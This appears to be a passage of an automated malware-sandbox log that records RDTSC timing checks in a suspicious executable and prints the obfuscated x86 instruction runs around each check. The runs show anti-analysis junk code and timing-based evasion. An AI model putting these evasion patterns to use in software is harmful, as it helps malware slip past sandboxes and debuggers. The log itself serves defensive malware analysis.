Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC52F8 second address: EC5339 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F38C02234h 0x00000008 jmp 00007F9F38C0222Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F9F38C02233h 0x00000015 xchg eax, esi 0x00000016 nop 0x00000017 js 00007F9F38C0223Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F9F38C0222Bh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC5339 second address: EC533D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC5CE2 second address: EC5D3B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sub dword ptr [ebp+122D2E6Ch], eax 0x0000000f xor dx, 886Fh 0x00000014 lea eax, dword ptr [ebp+12490862h] 0x0000001a xor edx, 4AD3E46Eh 0x00000020 nop 0x00000021 jnl 00007F9F38C02230h 0x00000027 push eax 0x00000028 jmp 00007F9F38C02231h 0x0000002d nop 0x0000002e add dh, FFFFFFE7h 0x00000031 lea eax, dword ptr [ebp+1249081Eh] 0x00000037 mov dword ptr [ebp+122D1DDDh], eax 0x0000003d nop 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC5D3B second address: EA605C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jns 00007F9F38C153F6h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 jc 00007F9F38C153FEh 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F9F38C153F8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 mov cx, 7C5Bh 0x0000003a call dword ptr [ebp+122D1B7Fh] 0x00000040 pushad 0x00000041 push ecx 0x00000042 pushad 0x00000043 popad 0x00000044 pop ecx 0x00000045 ja 00007F9F38C153F8h 0x0000004b popad 0x0000004c pushad 0x0000004d pushad 0x0000004e pushad 0x0000004f popad 0x00000050 jmp 00007F9F38C15401h 0x00000055 jo 00007F9F38C153F6h 0x0000005b popad 0x0000005c pushad 0x0000005d js 00007F9F38C153F6h 0x00000063 pushad 0x00000064 popad 0x00000065 push ebx 0x00000066 pop ebx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EA605C second address: EA6069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F9F38C02226h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCB17 second address: EFCB34 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9F38C153F6h 0x00000008 jmp 00007F9F38C15400h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCB34 second address: EFCB3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCB3C second address: EFCB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C153FEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9F38C153FEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCB5F second address: EFCB63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCD18 second address: EFCD20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCD20 second address: EFCD36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C0222Bh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCD36 second address: EFCD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCD3C second address: EFCD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCD40 second address: EFCD46 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCEEE second address: EFCEF6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFCEF6 second address: EFCF00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F032B5 second address: F032CE instructions: 0x00000000 rdtsc 0x00000002 js 00007F9F38C02226h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 jo 00007F9F38C02226h 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F032CE second address: F032DA instructions: 0x00000000 rdtsc 0x00000002 je 00007F9F38C153FEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F01E7E second address: F01E93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F9F38C02226h 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F01E93 second address: F01EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C15402h 0x00000009 popad 0x0000000a jmp 00007F9F38C15404h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0268E second address: F026AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F9F38C02226h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9F38C0222Ch 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F02C5E second address: F02C6B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9F38C153F8h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F02C6B second address: F02C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F01A3B second address: F01A42 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F04E3C second address: F04E42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F04E42 second address: F04E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F04E48 second address: F04E4D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F04E4D second address: F04E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9F38C15403h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F04E69 second address: F04E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F04E6D second address: F04E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0A84F second address: F0A856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F09755 second address: F09759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F09759 second address: F0975F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F09FC3 second address: F09FC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0A14F second address: F0A153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0A5C0 second address: F0A5CC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9F38C153F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0A5CC second address: F0A5DC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9F38C02232h 0x00000008 jno 00007F9F38C02226h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0D53D second address: F0D545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0D545 second address: F0D566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9F38C02233h 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0D566 second address: F0D573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F9F38C153F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F0FC79 second address: F0FC7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F113E1 second address: F113F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F9F38C153F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F113F0 second address: F113F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F113F4 second address: F113FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E7CCEA second address: E7CCF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F16EDC second address: F16EEC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9F38C153F6h 0x00000008 jc 00007F9F38C153F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F16EEC second address: F16EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9F38C02226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F16EF6 second address: F16EFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F170B5 second address: F170E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02239h 0x00000009 jmp 00007F9F38C0222Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC5828 second address: EC582C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC582C second address: EC58C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+1247EA3Dh], ebx 0x00000010 mov ebx, dword ptr [ebp+1249085Dh] 0x00000016 or dword ptr [ebp+122D17FFh], eax 0x0000001c add eax, ebx 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F9F38C02228h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 nop 0x00000039 push edi 0x0000003a pushad 0x0000003b ja 00007F9F38C02226h 0x00000041 js 00007F9F38C02226h 0x00000047 popad 0x00000048 pop edi 0x00000049 push eax 0x0000004a jnl 00007F9F38C02239h 0x00000050 nop 0x00000051 mov ch, bl 0x00000053 push 00000004h 0x00000055 movzx edi, bx 0x00000058 nop 0x00000059 push eax 0x0000005a jo 00007F9F38C0223Dh 0x00000060 jmp 00007F9F38C02237h 0x00000065 pop eax 0x00000066 push eax 0x00000067 pushad 0x00000068 js 00007F9F38C0222Ch 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1724C second address: F17250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F17250 second address: F17269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9F38C02233h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F17269 second address: F17284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F9F38C15405h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F17284 second address: F17288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F173B1 second address: F173B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F173B7 second address: F173BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F173BB second address: F173CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C153FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F173CE second address: F173DA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9F38C0222Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F173DA second address: F173F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F9F38C15403h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AA8F second address: F1AA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AA93 second address: F1AADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9F38C15405h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F9F38C15408h 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 popad 0x00000015 pushad 0x00000016 js 00007F9F38C153FAh 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007F9F38C153F6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AADE second address: F1AAF5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9F38C02226h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jo 00007F9F38C02226h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AC6A second address: F1AC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9F38C153F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AC7B second address: F1AC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AC7F second address: F1AC96 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9F38C153F6h 0x00000008 jbe 00007F9F38C153F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AC96 second address: F1ACDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9F38C02226h 0x0000000a popad 0x0000000b jmp 00007F9F38C02236h 0x00000010 je 00007F9F38C0223Eh 0x00000016 jmp 00007F9F38C02238h 0x0000001b pushad 0x0000001c jns 00007F9F38C02226h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1ACDE second address: F1ACE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AF84 second address: F1AFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9F38C02238h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F1AFA3 second address: F1AFA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F21733 second address: F21740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20A6A second address: F20A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20A70 second address: F20A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F9F38C0222Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20A8B second address: F20A95 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9F38C153F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20D3A second address: F20D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20D3E second address: F20D60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9F38C153FBh 0x0000000e pushad 0x0000000f jnc 00007F9F38C153F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20EDC second address: F20EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20EE2 second address: F20EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20EE6 second address: F20EFF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9F38C0222Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20EFF second address: F20F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20F03 second address: F20F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20F07 second address: F20F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F20F12 second address: F20F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F27D08 second address: F27D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F28883 second address: F28889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F28889 second address: F2888F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2888F second address: F28893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
